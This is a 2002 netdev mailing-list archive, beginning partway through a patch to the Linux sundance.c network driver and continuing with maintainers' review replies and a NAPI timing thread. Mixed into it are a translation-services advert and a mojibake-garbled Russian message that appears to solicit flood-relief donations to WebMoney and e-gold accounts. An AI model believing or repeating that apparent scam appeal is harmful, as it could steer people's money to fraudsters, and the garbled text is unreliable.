+{ + struct netdev_private *np = dev->priv; + int entry; + int cnt = 0; /* Refill the Rx ring buffers. */ - for (; np->cur_rx - np->dirty_rx > 0; np->dirty_rx++) { + for (;(np->cur_rx - np->dirty_rx + RX_RING_SIZE) % RX_RING_SIZE > 0; + np->dirty_rx = (np->dirty_rx + 1) % RX_RING_SIZE) { struct sk_buff *skb; entry = np->dirty_rx % RX_RING_SIZE; if (np->rx_skbuff[entry] == NULL) { @@ -1186,56 +1298,51 @@ np->rx_ring[entry].frag[0].length = cpu_to_le32(np->rx_buf_sz | LastFrag); np->rx_ring[entry].status = 0; + cnt++; } - - /* No need to restart Rx engine, it will poll. */ - return 0; + return; } - static void netdev_error(struct net_device *dev, int intr_status) { long ioaddr = dev->base_addr; struct netdev_private *np = dev->priv; u16 mii_ctl, mii_advertise, mii_lpa; int speed; - - if (intr_status & IntrDrvRqst) { - /* Stop the down counter and turn interrupts back on. */ - if (debug > 1) - printk("%s: Turning interrupts back on.\n", dev->name); - writew(0, ioaddr + IntrEnable); - writew(0, ioaddr + DownCounter); - writew(IntrRxDone | IntrRxDMADone | IntrPCIErr | IntrDrvRqst | - IntrTxDone | StatsMax | LinkChange, ioaddr + IntrEnable); - /* Ack buggy InRequest */ - writew (IntrDrvRqst, ioaddr + IntrStatus); - } + if (intr_status & LinkChange) { if (np->an_enable) { mii_advertise = mdio_read (dev, np->phys[0], MII_ADVERTISE); mii_lpa= mdio_read (dev, np->phys[0], MII_LPA); mii_advertise &= mii_lpa; printk (KERN_INFO "%s: Link changed: ", dev->name); - if (mii_advertise & ADVERTISE_100FULL) + if (mii_advertise & ADVERTISE_100FULL) { + np->speed = 100; printk ("100Mbps, full duplex\n"); - else if (mii_advertise & ADVERTISE_100HALF) + } else if (mii_advertise & ADVERTISE_100HALF) { + np->speed = 100; printk ("100Mbps, half duplex\n"); - else if (mii_advertise & ADVERTISE_10FULL) + } else if (mii_advertise & ADVERTISE_10FULL) { + np->speed = 10; printk ("10Mbps, full duplex\n"); - else if (mii_advertise & ADVERTISE_10HALF) + } else if (mii_advertise & ADVERTISE_10HALF) { + np->speed = 10; printk ("10Mbps, half duplex\n"); - else + } else printk ("\n"); } else { mii_ctl = mdio_read (dev, np->phys[0], MII_BMCR); speed = (mii_ctl & BMCR_SPEED100) ? 100 : 10; + np->speed = speed; printk (KERN_INFO "%s: Link changed: %dMbps ,", dev->name, speed); printk ("%s duplex.\n", (mii_ctl & BMCR_FULLDPLX) ? "full" : "half"); } check_duplex (dev); + if (np->flowctrl == 0) + writew(readw(ioaddr + MACCtrl0) & ~EnbFlowCtrl, + ioaddr + MACCtrl0); } if (intr_status & StatsMax) { get_stats(dev); @@ -1294,11 +1401,16 @@ rx_mode = AcceptBroadcast | AcceptMulticast | AcceptMyPhys; } else if (dev->mc_count) { struct dev_mc_list *mclist; - memset(mc_filter, 0, sizeof(mc_filter)); + int bit; + int index; + int crc; + memset (mc_filter, 0, sizeof (mc_filter)); for (i = 0, mclist = dev->mc_list; mclist && i < dev->mc_count; - i++, mclist = mclist->next) { - set_bit(ether_crc_le(ETH_ALEN, mclist->dmi_addr) & 0x3f, - mc_filter); + i++, mclist = mclist->next) { + crc = ether_crc_le (ETH_ALEN, mclist->dmi_addr); + for (index=0, bit=0; bit < 6; bit++, crc <<= 1) + if (crc & 0x80000000) index |= 1 << bit; + mc_filter[index/16] |= (1 << (index % 16)); } rx_mode = AcceptBroadcast | AcceptMultiHash | AcceptMyPhys; } else { @@ -1314,24 +1426,136 @@ { struct netdev_private *np = dev->priv; u32 ethcmd; - + long ioaddr = dev->base_addr; + if (copy_from_user(ðcmd, useraddr, sizeof(ethcmd))) return -EFAULT; switch (ethcmd) { - case ETHTOOL_GDRVINFO: { - struct ethtool_drvinfo info = {ETHTOOL_GDRVINFO}; - strcpy(info.driver, DRV_NAME); - strcpy(info.version, DRV_VERSION); - strcpy(info.bus_info, np->pci_dev->slot_name); - if (copy_to_user(useraddr, &info, sizeof(info))) + case ETHTOOL_GDRVINFO: { + struct ethtool_drvinfo info = {ETHTOOL_GDRVINFO}; + strcpy(info.driver, DRV_NAME); + strcpy(info.version, DRV_VERSION); + strcpy(info.bus_info, np->pci_dev->slot_name); + memset(&info.fw_version, 0, sizeof(info.fw_version)); + if (copy_to_user(useraddr, &info, sizeof(info))) + return -EFAULT; + return 0; + } + case ETHTOOL_GSET: { + struct ethtool_cmd cmd = { ETHTOOL_GSET }; + if (readl (ioaddr + ASICCtrl) & 0x80) { + /* fiber device */ + cmd.supported = SUPPORTED_Autoneg | + SUPPORTED_FIBRE; + cmd.advertising= ADVERTISED_Autoneg | + ADVERTISED_FIBRE; + cmd.port = PORT_FIBRE; + cmd.transceiver = XCVR_INTERNAL; + } else { + /* copper device */ + cmd.supported = SUPPORTED_10baseT_Half | + SUPPORTED_10baseT_Full | + SUPPORTED_100baseT_Half | + SUPPORTED_100baseT_Full | + SUPPORTED_Autoneg | + SUPPORTED_MII; + cmd.advertising = ADVERTISED_10baseT_Half | + ADVERTISED_10baseT_Full | + ADVERTISED_100baseT_Half | + ADVERTISED_100baseT_Full | + ADVERTISED_Autoneg | + ADVERTISED_MII; + cmd.port = PORT_MII; + cmd.transceiver = XCVR_INTERNAL; + } + if (readb(ioaddr + MIICtrl) & 0x80) { + cmd.speed = np->speed; + cmd.duplex = np->full_duplex ? + DUPLEX_FULL : DUPLEX_HALF; + } else { + cmd.speed = -1; + cmd.duplex = -1; + } + if ( np->an_enable) + cmd.autoneg = AUTONEG_ENABLE; + else + cmd.autoneg = AUTONEG_DISABLE; + + cmd.phy_address = np->phys[0]; + + if (copy_to_user(useraddr, &cmd, + sizeof(cmd))) + return -EFAULT; + return 0; + } + case ETHTOOL_SSET: { + struct ethtool_cmd cmd; + if (copy_from_user(&cmd, useraddr, sizeof(cmd))) + return -EFAULT; + netif_carrier_off(dev); + if (cmd.autoneg == AUTONEG_ENABLE) { + if (np->an_enable) + return 0; + else { + np->an_enable = 1; + /* Reset PHY */ + mdio_write (dev, np->phys[0], MII_BMCR, + BMCR_RESET); + mdelay (300); + /* Start auto negotiation */ + mdio_write (dev, np->phys[0], MII_BMCR, + BMCR_ANENABLE|BMCR_ANRESTART); + return 0; + } + } else { + /* Reset PHY */ + mdio_write (dev, np->phys[0], MII_BMCR, + BMCR_RESET); + mdelay (300); + np->an_enable = 0; + switch(cmd.speed + cmd.duplex){ + + case SPEED_10 + DUPLEX_HALF: + np->speed = 10; + np->full_duplex = 0; + break; + case SPEED_10 + DUPLEX_FULL: + np->speed = 10; + np->full_duplex = 1; + break; + case SPEED_100 + DUPLEX_HALF: + np->speed = 100; + np->full_duplex = 0; + break; + case SPEED_100 + DUPLEX_FULL: + np->speed = 100; + np->full_duplex = 1; + break; + + default: + return -EINVAL; + } + mdio_write (dev, np->phys[0], MII_BMCR, + ((np->speed == 100) ? BMCR_SPEED100 : 0) | + ((np->full_duplex) ? BMCR_FULLDPLX : 0) ); + + } + return 0; + } +#ifdef ETHTOOL_GLINK + case ETHTOOL_GLINK:{ + struct ethtool_value link = { ETHTOOL_GLINK }; + link.data = readb(ioaddr + MIICtrl) & 0x80; + if (copy_to_user(useraddr, &link, sizeof(link))) return -EFAULT; return 0; - } + } +#endif + default: + return -EOPNOTSUPP; } - - return -EOPNOTSUPP; } static int netdev_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) @@ -1342,17 +1566,14 @@ case SIOCETHTOOL: return netdev_ethtool_ioctl(dev, (void *) rq->ifr_data); case SIOCGMIIPHY: /* Get address of MII PHY in use. */ - case SIOCDEVPRIVATE: /* for binary compat, remove in 2.5 */ data->phy_id = ((struct netdev_private *)dev->priv)->phys[0] & 0x1f; /* Fall Through */ case SIOCGMIIREG: /* Read MII PHY register. */ - case SIOCDEVPRIVATE+1: /* for binary compat, remove in 2.5 */ data->val_out = mdio_read(dev, data->phy_id & 0x1f, data->reg_num & 0x1f); return 0; case SIOCSMIIREG: /* Write MII PHY register. */ - case SIOCDEVPRIVATE+2: /* for binary compat, remove in 2.5 */ if (!capable(CAP_NET_ADMIN)) return -EPERM; mdio_write(dev, data->phy_id & 0x1f, data->reg_num & 0x1f, data->val_in); @@ -1480,3 +1701,5 @@ module_init(sundance_init); module_exit(sundance_exit); + + --------------010306010007070509070106-- From lunz@falooley.org Wed Sep 18 21:51:35 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 21:51:40 -0700 (PDT) Received: from orr.homenet (dsl-65-188-251-69.telocity.com [65.188.251.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J4pYtG009952 for ; Wed, 18 Sep 2002 21:51:35 -0700 Received: from lunz by orr.homenet with local (Exim 3.35 #1 (Debian)) id 17rtMT-0002vg-00; Thu, 19 Sep 2002 00:56:21 -0400 Date: Thu, 19 Sep 2002 00:56:21 -0400 To: Jeff Garzik Cc: netdev@oss.sgi.com, Richard Gooch , becker@scyld.com, "Patrick R. McManus" , Linux Kernel Mailing List Subject: Re: [PATCH] 2.4.20-pre sundance.c update Message-ID: <20020919045621.GA11144@orr.falooley.org> References: <20020828185612.GA14342@reflexsecurity.com> <20020828231333.GA15183@reflexsecurity.com> <200209190353.g8J3r5q28456@vindaloo.ras.ucalgary.ca> <20020919041403.GA10527@orr.falooley.org> <3D89519C.1020809@mandrakesoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D89519C.1020809@mandrakesoft.com> User-Agent: Mutt/1.4i From: Jason Lunz X-archive-position: 278 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lunz@falooley.org Precedence: bulk X-list: netdev On Thu, Sep 19, 2002 at 12:25AM -0400, Jeff Garzik wrote: > It still has several flaws that were pointed out, but this is the base > from which I would like testing and patching to proceed. (also > hopefully the flaws are minor in terms of general operation) what's the point of moving rx handling into rx_poll then running it in a tasklet? I've tested an older variant of that scheme from D-Link and it doesn't perform as well as my patch. It looks to me like an attempt to keep this version synced with the NAPI version of the driver, but it doesn't actually work very well. The functional part of my patch was just taking the tx handling from d-link's driver and ditching the rx part. That and merging in the cleanups from Becker's driver; most notably ignoring the broken IntrRxDone bit. Jason From firmswt@zmail.ru Wed Sep 18 22:20:20 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 22:20:24 -0700 (PDT) Received: from chat.ru ([217.199.118.34]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J5KHtH011914; Wed, 18 Sep 2002 22:20:19 -0700 Message-Id: <200209190520.g8J5KHtH011914@oss.sgi.com> From: den Subject: help ! Reply-To: firmswt@zmail.ru X-Priority: 3 X-MSMail-Priority: Normal Organization: firmswt X-Mailer: Microsoft Outlook Express 4.72.3110.5 Mime-Version: 1.0 Content-Type: text/plain; charset="Windows-1251" Date: Thu, 19 Sep 2002 08:23:44 +0300 X-archive-position: 279 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: firmswt@zmail.ru Precedence: bulk X-list: netdev Ìû, ãðóïïà ïðåäïðèíèìàòåëåé èç Áàëòèè ðåøèëè îêàçàòü ïîìîùü æèòåëÿì ïîñòðàäàâøèõ îò çàòîïëåíèÿ òåððèòîðèé ×åõîñëîâàêèè è Ãåðìàíèè.  ðåçóëüòàòå çàòîïëåíèÿ îãðîìíûì òåððèòîðèÿì ýòèõ ñòðàí íàíåñåí óùåðá, îöåíèâàþùèéñÿ â ìèëëèîíû äîëëàðîâ.Ìû æèâåì â íåñïîêîéíîå â ýêîëîãè÷åñêîì ïëàíå âðåìÿ è ïðèðîäíîå ñòèõèéíîå áåäñòâèå íå âûáèðàåò ñòðàíû è âðåìåíè. Íóæíî áûòü ãîòîâûì îòêëèêíóòüñÿ íà áåäó è ïðèäòè íà ïîìîùü è òîãäà ìû âïðàâå ðàñ÷èòûâàòü íà ïîìîùü íàì. Íàìè óæå ñîáðàíû îïðåäåëåííûå ñðåäñòâà è ìû ïðèçûâàåì âàñ îòêëèêíóòüñÿ íà íàøó ïðîñüáó è îêàçàòü ïîñèëüíóþ ôèíàíñîâóþ ïîìîùü. Ñ÷åòà äëÿ ïåðå÷èñëåíèÿ ïîìîùè - WMZ 982188976291 ; e-gold ID 417211 . Íàø êîíòàêòíûé e-mail hel001@zmail.ru . Ñïàñèáî çà ïîìîùü. From jgarzik@mandrakesoft.com Wed Sep 18 23:29:52 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 23:29:56 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J6TptG013324 for ; Wed, 18 Sep 2002 23:29:52 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rtbp-0006g8-00; Thu, 19 Sep 2002 06:12:13 +0100 Message-ID: <3D895C8D.6070504@mandrakesoft.com> Date: Thu, 19 Sep 2002 01:11:41 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jason Lunz CC: netdev@oss.sgi.com, Richard Gooch , becker@scyld.com, "Patrick R. McManus" , Linux Kernel Mailing List Subject: Re: [PATCH] 2.4.20-pre sundance.c update References: <20020828185612.GA14342@reflexsecurity.com> <20020828231333.GA15183@reflexsecurity.com> <200209190353.g8J3r5q28456@vindaloo.ras.ucalgary.ca> <20020919041403.GA10527@orr.falooley.org> <3D89519C.1020809@mandrakesoft.com> <20020919045621.GA11144@orr.falooley.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 280 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Jason Lunz wrote: > On Thu, Sep 19, 2002 at 12:25AM -0400, Jeff Garzik wrote: > >>It still has several flaws that were pointed out, but this is the base >>from which I would like testing and patching to proceed. (also >>hopefully the flaws are minor in terms of general operation) > > > what's the point of moving rx handling into rx_poll then running it in a > tasklet? I've tested an older variant of that scheme from D-Link and it > doesn't perform as well as my patch. It looks to me like an attempt to > keep this version synced with the NAPI version of the driver, but it > doesn't actually work very well. This is a merge and test point. The whole interrupt handler path is getting updated after this. (but thanks for the feedback, it is noted) > The functional part of my patch was just taking the tx handling from > d-link's driver and ditching the rx part. That and merging in the > cleanups from Becker's driver; most notably ignoring the broken > IntrRxDone bit. Maybe you could show me that in broken-out patches :) From rgooch@vindaloo.ras.ucalgary.ca Wed Sep 18 23:38:02 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 23:38:06 -0700 (PDT) Received: from vindaloo.ras.ucalgary.ca (vindaloo.ras.ucalgary.ca [136.159.55.21]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J6c1tG013734 for ; Wed, 18 Sep 2002 23:38:02 -0700 Received: (from rgooch@localhost) by vindaloo.ras.ucalgary.ca (8.10.0/8.10.0) id g8J6gxX29989; Thu, 19 Sep 2002 00:42:59 -0600 Date: Thu, 19 Sep 2002 00:42:59 -0600 Message-Id: <200209190642.g8J6gxX29989@vindaloo.ras.ucalgary.ca> From: Richard Gooch To: Jason Lunz Cc: netdev@oss.sgi.com, becker@scyld.com, jgarzik@mandrakesoft.com, "Patrick R. McManus" Subject: Re: [PATCH] 2.4.20-pre sundance.c cleanups In-Reply-To: <20020919041403.GA10527@orr.falooley.org> References: <20020828185612.GA14342@reflexsecurity.com> <20020828231333.GA15183@reflexsecurity.com> <200209190353.g8J3r5q28456@vindaloo.ras.ucalgary.ca> <20020919041403.GA10527@orr.falooley.org> X-archive-position: 281 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rgooch@ras.ucalgary.ca Precedence: bulk X-list: netdev Jason Lunz writes: > On Wed, Sep 18, 2002 at 9:53PM -0600, Richard Gooch wrote: > > - the driver is reporting 10 Mbps rather than 100 Mbps. I've actually > > measured eth0 and eth2 and these are delivering 100 Mbps > > i've noticed this too, and it's probably from all the mucking about > I did trying to combine becker's method of forcing duplex/speed with > the one in 2.4.19. That stuff is unrelated to the other, > more-important merges I did that actually affect how well the card > works. Jeff rightly pointed out that I should separate out chunks of > the patch for submission, but I haven't had time. Speaking of forcing speeds, is the following in /etc/modules.conf supposed to work? Did I get the syntax right? options sundance media="autosense","100mbps_fd","autosense" > This card is still nowhere near working well, even with my patch. It > silently drops many frames when simultaneously sending and receiving > at high packet rates. It also locks up under load, and is reset in > tx_timeout. This happens less frequently with my patch, but is not > entirely gone. Ah, that might explain why I've seen variations in TCP throughput from eth0 <-> eth2 ranging from <8 MB/s to >11 MB/s. About these lockups: are they fully recoverable by the driver, or does the machine need attention to fix this? If the former, how long before the driver recovers? Regards, Richard.... Permanent: rgooch@atnf.csiro.au Current: rgooch@ras.ucalgary.ca From kaos@ocs.com.au Thu Sep 19 00:07:59 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 00:08:02 -0700 (PDT) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J77wtG014295 for ; Thu, 19 Sep 2002 00:07:59 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id AAA00537 for ; Thu, 19 Sep 2002 00:13:02 -0700 (PDT) mail_from (kaos@ocs.com.au) Received: from kao2.melbourne.sgi.com (kao2.melbourne.sgi.com [134.14.55.180]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA06275 for ; Thu, 19 Sep 2002 17:11:46 +1000 Received: by kao2.melbourne.sgi.com (Postfix, from userid 16331) id 2BDC73000B8; Thu, 19 Sep 2002 17:11:45 +1000 (EST) Received: from kao2.melbourne.sgi.com (localhost [127.0.0.1]) by kao2.melbourne.sgi.com (Postfix) with ESMTP id E894985 for ; Thu, 19 Sep 2002 17:11:45 +1000 (EST) X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4 From: Keith Owens To: netdev@sgi.com Subject: Re: [PATCH] 2.4.20-pre sundance.c cleanups In-reply-to: Your message of "Thu, 19 Sep 2002 00:42:59 CST." <200209190642.g8J6gxX29989@vindaloo.ras.ucalgary.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 19 Sep 2002 17:11:40 +1000 Message-ID: <6067.1032419500@kao2.melbourne.sgi.com> X-archive-position: 282 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaos@ocs.com.au Precedence: bulk X-list: netdev On Thu, 19 Sep 2002 00:42:59 -0600, Richard Gooch wrote: >Speaking of forcing speeds, is the following in /etc/modules.conf >supposed to work? Did I get the syntax right? > options sundance media="autosense","100mbps_fd","autosense" man modules.conf, look for special. media='"autosense,100mbps_fd,autosense"' should work. From quotes@cabessatranslations.com Thu Sep 19 05:54:33 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 05:54:34 -0700 (PDT) Received: from ap250 (telehouse-103-1-238.net1.nerim.net [213.41.186.238]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JCsVtG021598 for ; Thu, 19 Sep 2002 05:54:32 -0700 Message-Id: <200209191254.g8JCsVtG021598@oss.sgi.com> From: "Deborah CABESSA" To: Subject: Translation services - Services de traduction Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Thu, 19 Sep 2002 14:59:45 X-archive-position: 284 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: quotes@cabessatranslations.com Precedence: bulk X-list: netdev Hello, As part of your operations, you perhaps sometimes require translation services. We are a translation bureau offering services into a variety of languages. 1) Do you ever need such services? 2) Who in your organization is the person to contact? Best Regards, Deborah CABESSA +33 (0)1 45 88 54 11 +33 (0)6 11 77 57 08 Bonjour, Dans le cadre de vos activités, il vous arrive peut-être parfois de recourir à des services de traduction. Nous sommes un bureau de traduction et proposons des services dans diverses langues. 1) Avez-vous besoin de services de ce type ? 2) Dans votre entreprise, quelle est la personne à contacter ? Cordialement, Deborah CABESSA +33 (0)1 45 88 54 11 +33 (0)6 11 77 57 08 From becker@scyld.com Thu Sep 19 05:54:11 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 05:54:16 -0700 (PDT) Received: from beohost.scyld.com (dsl093-058-082.blt1.dsl.speakeasy.net [66.93.58.82]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JCsBtG021530 for ; Thu, 19 Sep 2002 05:54:11 -0700 Received: from localhost (becker@localhost) by beohost.scyld.com (8.11.6/8.11.6) with ESMTP id g8JCwil06938; Thu, 19 Sep 2002 08:58:44 -0400 Date: Thu, 19 Sep 2002 08:58:44 -0400 (EDT) From: Donald Becker To: Richard Gooch cc: Jason Lunz , , , "Patrick R. McManus" Subject: Re: [PATCH] 2.4.20-pre sundance.c cleanups In-Reply-To: <200209190353.g8J3r5q28456@vindaloo.ras.ucalgary.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 283 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev On Wed, 18 Sep 2002, Richard Gooch wrote: > Hi, all. I've just taken the patch Jason released on 28-AUG and > applied it to 2.4.19. The driver finds my D-Link 580-TX 4-port > ethercard, and it seems to be running OK. However, I note a few warts: > > - the driver is reporting 10 Mbps rather than 100 Mbps. I've actually > measured eth0 and eth2 and these are delivering 100 Mbps > > - I tried to force eth1 to 100 Mbps FD, but I don't know for sure if > it's working or not (the switch that eth1 connects to doesn't do ... > sundance.c:v1.01d 28-Aug-2002 Written by Donald Becker My 1.01 version released in early 2001. Perhaps distinguishing this from my release would be useful. > eth0: D-Link DFE-580TX 4 port Server Adapter at 0xc000, 00:05:5d:10:4d:b8, IRQ 5. > eth0: MII PHY found at address 0, status 0x782d advertising 01e1. > eth0: MII PHY found at address 1, status 0x782d advertising 01e1. This is wrong. My driver starts searching for MII PHYs at #1 to avoid the quirks of accessing a transceiver at #0. Background: Nominally the #0 transceiver address is reserved for physically external, plug-in transceiver. Such an external transceiver powers up disconnected from the MII data transfer path, and the driver must explicitly disable all other transceivers and enable #0 to use it. However in real life you never encounter this situation. Instead some non-standard transceivers respond to address #0 as well as their proper address. Except that they often don't operate properly when accessed at #0, so the driver should always use their real MII address. > eth0: Setting full-duplex based on MII #0 negotiated capability 01e1. > eth1: Link changed: Autonegotiation advertising 10Mbps full duplex, partner 10Mbps full duplex. > eth1: Setting full-duplex based on MII #0 negotiated capability 0100. Yeah, that pretty much points directly to a flaw... -- Donald Becker becker@scyld.com Scyld Computing Corporation http://www.scyld.com 410 Severn Ave. Suite 210 Second Generation Beowulf Clusters Annapolis MD 21403 410-990-9993 From becker@scyld.com Thu Sep 19 06:18:54 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 06:18:59 -0700 (PDT) Received: from beohost.scyld.com (dsl093-058-082.blt1.dsl.speakeasy.net [66.93.58.82]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JDIrtG022524 for ; Thu, 19 Sep 2002 06:18:53 -0700 Received: from localhost (becker@localhost) by beohost.scyld.com (8.11.6/8.11.6) with ESMTP id g8JDNwL06977; Thu, 19 Sep 2002 09:23:58 -0400 Date: Thu, 19 Sep 2002 09:23:58 -0400 (EDT) From: Donald Becker To: Jeff Garzik cc: netdev@oss.sgi.com, Jason Lunz , Richard Gooch , "Patrick R. McManus" , Linux Kernel Mailing List Subject: Re: [PATCH] 2.4.20-pre sundance.c update In-Reply-To: <3D89519C.1020809@mandrakesoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 285 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev On Thu, 19 Sep 2002, Jeff Garzik wrote: > Attached is the patch I have against 2.4.20-pre-latest, to start fixing > from as a baseline. diff -Nru a/drivers/net/sundance.c b/drivers/net/sundance.c > --- a/drivers/net/sundance.c Thu Sep 19 00:22:26 2002 > +++ b/drivers/net/sundance.c Thu Sep 19 00:22:26 2002 ... > /* Maximum events (Rx packets, etc.) to handle at each interrupt. */ > -static int max_interrupt_work = 30; > +static int max_interrupt_work = 0; Please don't change the semantics of module parameters. All of my PCI network drivers have used this name for years with the same semantics. Arbitrarily changing is A Bad Thing. > static int mtu; Get rid of this. See the MTU setting code in my driver release. > bonding and packet priority, and more than 128 requires modifying the > Tx error recovery. > Large receive rings merely waste memory. */ > -#define TX_RING_SIZE 16 > -#define TX_QUEUE_LEN 10 /* Limit ring entries actually used. */ > -#define RX_RING_SIZE 32 > +#define TX_RING_SIZE 64 > +#define TX_QUEUE_LEN (TX_RING_SIZE - 1) /* Limit ring entries actually used. */ Did you miss reading the comment? A Tx ring size of 64 is a bad idea. Increasing the Rx ring size is fine, considering that most current machines have plenty of memory and the kernel hasn't always been good about keeping skbuffs available. +MODULE_PARM(flowctrl, "i"); Flow control should be negotiated, not set. > - TxThreshold = 0x3c, > + TxStartThresh = 0x3c, > + RxEarlyThresh = 0x3e, [[ Many other name changes omitted ]] Why change the symbolic names for the registers? > /* Frequently used values: keep some adjacent for cache effect. */ > spinlock_t lock; > + spinlock_t rx_lock; /* Group with Tx control cache line. */ Uhmmm, again, read the comment. This comment was originally with the 'txlock' variable } else if (dev->mc_count) { struct dev_mc_list *mclist; - memset(mc_filter, 0, sizeof(mc_filter)); + int bit; + int index; + int crc; + memset (mc_filter, 0, sizeof (mc_filter)); for (i = 0, mclist = dev->mc_list; mclist && i < dev->mc_count; - i++, mclist = mclist->next) { - set_bit(ether_crc_le(ETH_ALEN, mclist->dmi_addr) & 0x3f, - mc_filter); + i++, mclist = mclist->next) { + crc = ether_crc_le (ETH_ALEN, mclist->dmi_addr); + for (index=0, bit=0; bit < 6; bit++, crc <<= 1) + if (crc & 0x80000000) index |= 1 << bit; + mc_filter[index/16] |= (1 << (index % 16)); } Uhhmmm, perhaps calling a function to do the wrong-endian CRC and then bit-reversing the result is not an improved way to do this? That's why there needs to be two Ethernet CRC functions -- so that you don't need to bit bit-reverse the result. -- Donald Becker becker@scyld.com Scyld Computing Corporation http://www.scyld.com 410 Severn Ave. Suite 210 Second Generation Beowulf Clusters Annapolis MD 21403 410-990-9993 From ebiederm@xmission.com Thu Sep 19 08:08:43 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 08:08:47 -0700 (PDT) Received: from frodo.biederman.org (ebiederm.dsl.xmission.com [166.70.28.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JF8gtG024074 for ; Thu, 19 Sep 2002 08:08:42 -0700 Received: (from eric@localhost) by frodo.biederman.org (8.9.3/8.9.3) id IAA11678; Thu, 19 Sep 2002 08:58:49 -0600 To: Alan Cox Cc: "David S. Miller" , hadi@cyberus.ca, akpm@digeo.com, manfred@colorfullife.com, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Info: NAPI performance at "low" loads References: <3D87A59C.410FFE3E@digeo.com> <20020917.180014.07882539.davem@redhat.com> <1032371453.20463.139.camel@irongate.swansea.linux.org.uk> From: ebiederm@xmission.com (Eric W. Biederman) Date: 19 Sep 2002 08:58:49 -0600 In-Reply-To: <1032371453.20463.139.camel@irongate.swansea.linux.org.uk> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 286 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebiederm@xmission.com Precedence: bulk X-list: netdev Alan Cox writes: > On Wed, 2002-09-18 at 18:27, Eric W. Biederman wrote: > > Plus I have played with calibrating the TSC with outb to port > > 0x80 and there was enough variation that it was unuseable. On some > > newer systems it would take twice as long as on some older ones. > > port 0x80 isnt going to PCI space. Agreed. It isn't going anywhere, and it takes it a while to recogonize that. > x86 generally posts mmio write but not io write. Thats quite measurable. The difference timing difference between posted and non-posted writes I can see. Eric From ebiederm@xmission.com Thu Sep 19 08:13:23 2002 Received: with ECARTIS (v1.0.0; list netdev); Thu, 19 Sep 2002 08:13:25 -0700 (PDT) Received: from frodo.biederman.org (ebiederm.dsl.xmission.com [166.70.28.69]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8JFDNtG024524 for ; Thu, 19 Sep 2002 08:13:23 -0700 Received: (from eric@localhost) by frodo.biederman.org (8.9.3/8.9.3) id JAA11712; Thu, 19 Sep 2002 09:03:40 -0600 To: "David S. Miller" Cc: alan@lxorguk.ukuu.org.uk, 